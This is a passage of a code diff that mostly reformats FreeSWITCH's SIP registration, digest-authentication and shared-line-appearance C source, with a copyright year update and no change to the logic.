display, proto, contact->m_url->url_user, contact_host, new_port,
display, proto, contact->m_url->url_user, contact_host, new_port,
contact->m_url->url_params, received_data, is_nat ? ";fs_nat=yes" : "", path_encoded ? path_encoded : "");
} else {
switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s%s%s%s>", display, proto, contact->m_url->url_user, contact_host, new_port,
@@ -953,7 +934,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
char *allow_multireg = NULL;
allow_multireg = switch_event_get_header(*v_event, "sip-allow-multiple-registrations");
if ( allow_multireg && switch_false(allow_multireg) ) {
if (allow_multireg && switch_false(allow_multireg)) {
avoid_multi_reg = 1;
}
@@ -987,7 +968,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
if (*received_data && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
}
if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
!strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
if (contact->m_url->url_params) {
@@ -1030,7 +1011,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
}
if (auth_res == AUTH_FORBIDDEN) {
nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
/* Log line added to support Fail2Ban */
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
if (regtype == REG_REGISTER) {
@@ -1039,7 +1020,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
} else if (regtype == REG_INVITE) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (INVITE) on sofia profile '%s' "
"for [%s@%s] from ip %s\n", profile->name, to_user, to_host, network_ip);
}
}
}
} else {
nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
@@ -1095,13 +1076,12 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
switch_assert(call_id);
/* Does this profile supports multiple registrations ? */
multi_reg = ( sofia_test_pflag(profile, PFLAG_MULTIREG) ) ? 1 : 0;
multi_reg_contact = ( sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT) ) ? 1 : 0;
multi_reg = (sofia_test_pflag(profile, PFLAG_MULTIREG)) ? 1 : 0;
multi_reg_contact = (sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT)) ? 1 : 0;
if ( multi_reg && avoid_multi_reg ) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"Disabling multiple registrations on a per-user basis for %s@%s\n",
switch_str_nil(to_user), switch_str_nil(to_host) );
if (multi_reg && avoid_multi_reg) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"Disabling multiple registrations on a per-user basis for %s@%s\n", switch_str_nil(to_user), switch_str_nil(to_host));
multi_reg = 0;
}
@@ -1122,13 +1102,13 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
if (multi_reg) {
if (multi_reg_contact) {
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
sql =
switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
}
} else {
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'",
to_user, reg_host);
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'", to_user, reg_host);
}
switch_mutex_lock(profile->ireg_mutex);
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
@@ -1177,7 +1157,6 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
"Register:\nFrom: [%s@%s]\nContact: [%s]\nExpires: [%ld]\n", to_user, reg_host, contact_str, (long) exptime);
}
#if 0
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
@@ -1192,7 +1171,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
}
#else
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_PROBE) == SWITCH_STATUS_SUCCESS) {
@@ -1211,7 +1190,7 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
} else {
if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_OUT) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", rpid);
@@ -1247,7 +1226,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
}
if (multi_reg_contact) {
sql = switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
sql =
switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_subscriptions where call_id='%q'", call_id);
}
@@ -1255,7 +1235,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
if (multi_reg_contact) {
sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
sql =
switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
} else {
sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
}
@@ -1284,8 +1265,8 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
if (exptime) {
switch_snprintf(exp_param, sizeof(exp_param), "expires=%ld", exptime);
sip_contact_add_param(nua_handle_home(nh), sip->sip_contact, exp_param);
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
(reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", mwi_user, mwi_host);
@@ -1304,18 +1285,15 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
}
}
switch_rfc822_date(date, switch_micro_time_now());
nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact),
TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
NUTAG_WITH_THIS(nua),
SIPTAG_DATE_STR(date),
TAG_END());
TAG_IF(path_val, SIPTAG_PATH_STR(path_val)), NUTAG_WITH_THIS(nua), SIPTAG_DATE_STR(date), TAG_END());
if (s_event) {
switch_event_fire(&s_event);
}
if (*contact_str && sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE_SYLANTRO)) {
sofia_sla_handle_register(nua, profile, sip, exptime, contact_str);
}
@@ -1324,14 +1302,14 @@ uint8_t sofia_reg_handle_register(nua_t *nua, sofia_profile_t *profile, nua_hand
}
end:
end:
switch_safe_free(dup_mwi_account);
if (auth_params) {
switch_event_destroy(&auth_params);
}
return (uint8_t)r;
return (uint8_t) r;
}
@@ -1346,7 +1324,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
int network_port = 0;
char *is_nat = NULL;
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
if (!(sip->sip_contact && sip->sip_contact->m_url)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
@@ -1363,7 +1341,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
if (sip && sip->sip_via) {
const char *port = sip->sip_via->v_port;
const char *host = sip->sip_via->v_host;
if (host && sip->sip_via->v_received) {
is_nat = "via received";
} else if (host && strcmp(network_ip, host)) {
@@ -1391,13 +1369,13 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
break;
}
}
if (ok) {
is_nat = last_acl;
}
}
}
if (profile->reg_acl_count) {
uint32_t x = 0;
int ok = 1;
@@ -1424,7 +1402,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
nua_respond(nh, SIP_500_INTERNAL_SERVER_ERROR, TAG_END());
goto end;
}
if (is_nat && profile->local_network && switch_check_network_list_ip(network_ip, profile->local_network)) {
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s is on local network, not seting NAT mode.\n", network_ip);
@@ -1433,7 +1411,7 @@ void sofia_reg_handle_sip_i_register(nua_t *nua, sofia_profile_t *profile, nua_h
}
sofia_reg_handle_register(nua, profile, nh, sip, type, key, sizeof(key), &v_event, is_nat);
if (v_event) {
switch_event_destroy(&v_event);
}
@@ -1458,7 +1436,7 @@ void sofia_reg_handle_sip_r_register(int status,
nua_handle_destroy(nh);
}
}
if (sofia_private && sofia_private->gateway) {
reg_state_t ostate = sofia_private->gateway->state;
switch (status) {
@@ -1468,8 +1446,8 @@ void sofia_reg_handle_sip_r_register(int status,
const char *new_expires;
uint32_t expi;
if (contact->m_next) {
const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
for ( ; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
for (; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
}
if (!contact) {
@@ -1479,7 +1457,7 @@ void sofia_reg_handle_sip_r_register(int status,
if (contact->m_expires) {
new_expires = contact->m_expires;
expi = (uint32_t) atoi(new_expires);
if (expi > 0 && expi != sofia_private->gateway->freq) {
sofia_private->gateway->freq = expi;
sofia_private->gateway->expires_str = switch_core_sprintf(sofia_private->gateway->pool, "%d", expi);
@@ -1503,7 +1481,7 @@ void sofia_reg_handle_sip_r_register(int status,
default:
sofia_private->gateway->state = REG_STATE_FAILED;
sofia_private->gateway->failure_status = status;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
sofia_private->gateway->name, switch_str_nil(phrase), status, ++sofia_private->gateway->failures);
break;
}
@@ -1572,14 +1550,14 @@ void sofia_reg_handle_sip_r_challenge(int status,
if (!gateway) {
if (gw_name) {
var_gateway = sofia_reg_find_gateway((char *)gw_name);
var_gateway = sofia_reg_find_gateway((char *) gw_name);
}
if (!var_gateway && realm) {
char rb[512] = "";
char *p = (char *) realm;
while((*p == '"')) {
while ((*p == '"')) {
p++;
}
switch_set_string(rb, p);
@@ -1594,13 +1572,13 @@ void sofia_reg_handle_sip_r_challenge(int status,
if (!var_gateway && sip && sip->sip_to) {
var_gateway = sofia_reg_find_gateway(sip->sip_to->a_url->url_host);
}
if (var_gateway) {
gateway = var_gateway;
}
}
if (!(scheme && realm)) {
@@ -1614,12 +1592,12 @@ void sofia_reg_handle_sip_r_challenge(int status,
switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Matching gateway found\n");
goto cancel;
goto cancel;
}
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n",
(sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
(sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
}
ss_state = nua_callstate_authenticating;
@@ -1638,7 +1616,7 @@ void sofia_reg_handle_sip_r_challenge(int status,
nua_cancel(nh, TAG_END());
}
end:
end:
if (var_gateway) {
sofia_reg_release_gateway(var_gateway);
@@ -1677,20 +1655,15 @@ static int sofia_reg_regcount_callback(void *pArg, int argc, char **argv, char *
return 0;
}
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
sip_authorization_t const *authorization,
sip_t const *sip,
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
sip_authorization_t const *authorization,
sip_t const *sip,
const char *regstr,
char *np,
size_t nplen,
char *ip,
switch_event_t **v_event,
long exptime,
sofia_regtype_t
regtype,
const char *to_user,
switch_event_t **auth_params,
long *reg_count)
char *np,
size_t nplen,
char *ip,
switch_event_t **v_event,
long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count)
{
int indexnum;
const char *cur;
@@ -1781,7 +1754,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
nonce_cb_t cb = { 0 };
long nc_long = 0;
first = 1;
if (nc) {
nc_long = strtoul(nc, 0, 16);
sql = switch_mprintf("select nonce,last_nc from sip_authentication where nonce='%q' and last_nc < %lu", nonce, nc_long);
@@ -1791,7 +1764,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
cb.nonce = np;
cb.nplen = nplen;
switch_assert(sql != NULL);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_nonce_callback, &cb);
free(sql);
@@ -1883,12 +1856,11 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
domain_name = realm;
}
if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username,
domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username, domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n"
"You must define a domain called '%s' in your directory and add a user with the id=\"%s\" attribute\n"
"and you must configure your device to use the proper domain in it's authentication credentials.\n"
, username, domain_name, domain_name, username);
"and you must configure your device to use the proper domain in it's authentication credentials.\n", username, domain_name,
domain_name, username);
ret = AUTH_FORBIDDEN;
goto end;
@@ -1900,7 +1872,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
goto end;
}
}
if (!(number_alias = (char *) switch_xml_attr(user, "number-alias"))) {
number_alias = zstr(username) ? "nobody" : username;
}
@@ -1940,7 +1912,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
if (!strcasecmp(var, "mwi-account")) {
mwi_account = val;
}
if (!strcasecmp(var, "user-agent-filter")) {
user_agent_filter = val;
}
@@ -2030,18 +2002,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
}
/* Check if network_ip is a proxy allowed to send us calls */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
for (x = 0; x < profile->proxy_acl_count; x++) {
last_acl = profile->proxy_acl[x];
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"checking %s against acl %s\n",
ip, last_acl
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", ip, last_acl);
if (switch_check_network_list_ip(ip, last_acl)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"%s is a proxy according to the %s acl\n",
ip, last_acl
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s is a proxy according to the %s acl\n", ip, last_acl);
network_ip_is_proxy = 1;
break;
}
@@ -2055,10 +2021,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
int x_auth_ip = 0;
for (un = sip->sip_unknown; un; un = un->un_next) {
if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"found auth ip [%s] header of [%s]\n",
un->un_name, un->un_value
);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
if (!zstr(un->un_value)) {
if (!switch_check_network_list_ip(un->un_value, auth_acl)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by user acl %s\n", un->un_value, auth_acl);
@@ -2066,9 +2029,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
goto end;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"IP %s allowed by acl %s, checking credentials\n",
un->un_value, auth_acl
);
"IP %s allowed by acl %s, checking credentials\n", un->un_value, auth_acl);
x_auth_ip = 1;
break;
}
@@ -2084,12 +2045,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP [%s] passed ACL check [%s]\n", ip, auth_acl);
}
}
if (zstr(passwd) && zstr(a1_hash)) {
ret = AUTH_OK;
goto skip_auth;
}
if (!a1_hash) {
input = switch_mprintf("%s:%s:%s", username, realm, passwd);
su_md5_init(&ctx);
@@ -2104,41 +2065,43 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
if (user_agent_filter) {
if (switch_regex_match(user_agent, user_agent_filter) == SWITCH_STATUS_SUCCESS) {
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
}
} else {
ret = AUTH_FORBIDDEN;
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter,
user_agent);
}
goto end;
}
}
if (max_registrations_perext > 0 &&
(sip && sip->sip_contact &&
(sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
/* if expires is null still process */
/* expires == 0 means the phone is going to unregiser, so don't count against max */
if (max_registrations_perext > 0 && (sip && sip->sip_contact && (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
/* if expires is null still process */
/* expires == 0 means the phone is going to unregiser, so don't count against max */
int count = 0;
call_id = sip->sip_call_id->i_id;
switch_assert(call_id);
sql = switch_mprintf("select count(sip_user) from sip_registrations where sip_user='%q' AND call_id <> '%q'", username, call_id);
switch_assert(sql != NULL);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_regcount_callback, &count);
free(sql);
if (count+1 > max_registrations_perext) {
if (count + 1 > max_registrations_perext) {
ret = AUTH_FORBIDDEN;
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
"SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
}
goto end;
}
}
for_the_sake_of_interop:
if ((input = switch_mprintf("%s:%q", regstr, uri))) {
@@ -2187,7 +2150,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
}
if (v_event && *v_event) {
short int xparams_type[6];
switch_xml_t xparams[6];
@@ -2203,12 +2166,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
if (mwi_account) {
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "mwi-account", mwi_account);
}
if ((uparams = switch_xml_child(user, "params"))) {
xparams_type[i] = 0;
xparams[i++] = uparams;
}
if (group && (gparams = switch_xml_child(group, "params"))) {
xparams_type[i] = 0;
xparams[i++] = gparams;
@@ -2238,15 +2201,15 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
int j = 0;
for (j = 0; j < i; j++) {
for (param = switch_xml_child(xparams[j], (xparams_type[j]?"variable":"param")); param; param = param->next) {
for (param = switch_xml_child(xparams[j], (xparams_type[j] ? "variable" : "param")); param; param = param->next) {
const char *var = switch_xml_attr_soft(param, "name");
const char *val = switch_xml_attr_soft(param, "value");
sofia_gateway_t *gateway_ptr = NULL;
if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-",4) || !strcasecmp(var, "register-gateway")) ) {
if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-", 4) || !strcasecmp(var, "register-gateway"))) {
if (!switch_event_get_header(*v_event, var)) {
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n",var, val);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n", var, val);
}
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
} else {
@@ -2326,7 +2289,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
#else
#define LL_FMT "l"
#endif
sql = switch_mprintf("update sip_authentication set expires='%"LL_FMT"u',last_nc=%lu where nonce='%s'",
sql = switch_mprintf("update sip_authentication set expires='%" LL_FMT "u',last_nc=%lu where nonce='%s'",
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : exptime + 10), ncl, nonce);
switch_assert(sql != NULL);
@@ -2399,7 +2362,7 @@ sofia_gateway_t *sofia_reg_find_gateway_by_realm__(const char *file, const char
sofia_gateway_t *gateway = NULL;
switch_hash_index_t *hi;
const void *var;
void *val;
void *val;
switch_mutex_lock(mod_sofia_globals.hash_mutex);
for (hi = switch_hash_first(NULL, mod_sofia_globals.gateway_hash); hi; hi = switch_hash_next(hi)) {
+47 -57
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -74,7 +74,7 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
char exp_str[256] = "";
char my_contact[256] = "";
char *sql;
struct sla_helper sh = { { 0 } };
struct sla_helper sh = { {0} };
char *contact_str = sofia_glue_strip_uri(full_contact);
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
char network_ip[80];
@@ -83,17 +83,17 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
char *route_uri = NULL;
char port_str[25] = "";
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
mod_sofia_globals.hostname, profile->name, contact_str);
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, get_call_id_callback, &sh);
free(sql);
if (*sh.call_id) {
if (!(nh = nua_handle_by_call_id(profile->nua, sh.call_id))) {
if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
mod_sofia_globals.hostname, profile->name, contact_str))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
@@ -110,15 +110,15 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
if (sofia_glue_check_nat(profile, network_ip)) {
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
if (sofia_glue_check_nat(profile, network_ip)) {
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
profile->extsipip, port_str, sofia_glue_transport2str(transport), exp_str);
} else {
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
profile->sipip, port_str, sofia_glue_transport2str(transport), exp_str);
}
dst = sofia_glue_get_destination((char*) full_contact);
dst = sofia_glue_get_destination((char *) full_contact);
if (dst->route_uri) {
route_uri = sofia_glue_strip_uri(dst->route_uri);
@@ -130,9 +130,7 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
SIPTAG_FROM(sip->sip_to),
SIPTAG_CONTACT_STR(my_contact),
SIPTAG_EXPIRES_STR(exp_str),
SIPTAG_EVENT_STR("dialog;sla;include-session-description"),
SIPTAG_ACCEPT_STR("application/dialog-info+xml"),
TAG_NULL());
SIPTAG_EVENT_STR("dialog;sla;include-session-description"), SIPTAG_ACCEPT_STR("application/dialog-info+xml"), TAG_NULL());
sofia_glue_free_destination(dst);
@@ -158,13 +156,13 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
/*
* XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
* a Subscription-State header with state "terminated" and/or expiration of 0. So we never forget
* about them here.
* likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
*/
*/
/*
* extracting AOR is weird...
@@ -180,30 +178,29 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
* ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
* extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
* which won't be sufficient for real life. FIXME XXX MTK
*/
*/
/* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
subscriber = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_from->a_url->url_user,
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
if ((sql =
switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
subscriber, profile->name, mod_sofia_globals.hostname
))) {
switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
subscriber, profile->name, mod_sofia_globals.hostname))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
if ((sql =
switch_mprintf("insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) "
"values ('%q','%q','%q','%q','%q','%q','%q')",
subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
"values ('%q','%q','%q','%q','%q','%q','%q')",
subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
if (strstr(contact_str, ";fs_nat")) {
char *p;
route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
route_uri = sofia_glue_get_url_from_contact((char *) contact_str, 1);
if ((p = strstr(contact_str, ";fs_"))) {
*p = '\0';
}
@@ -222,21 +219,17 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
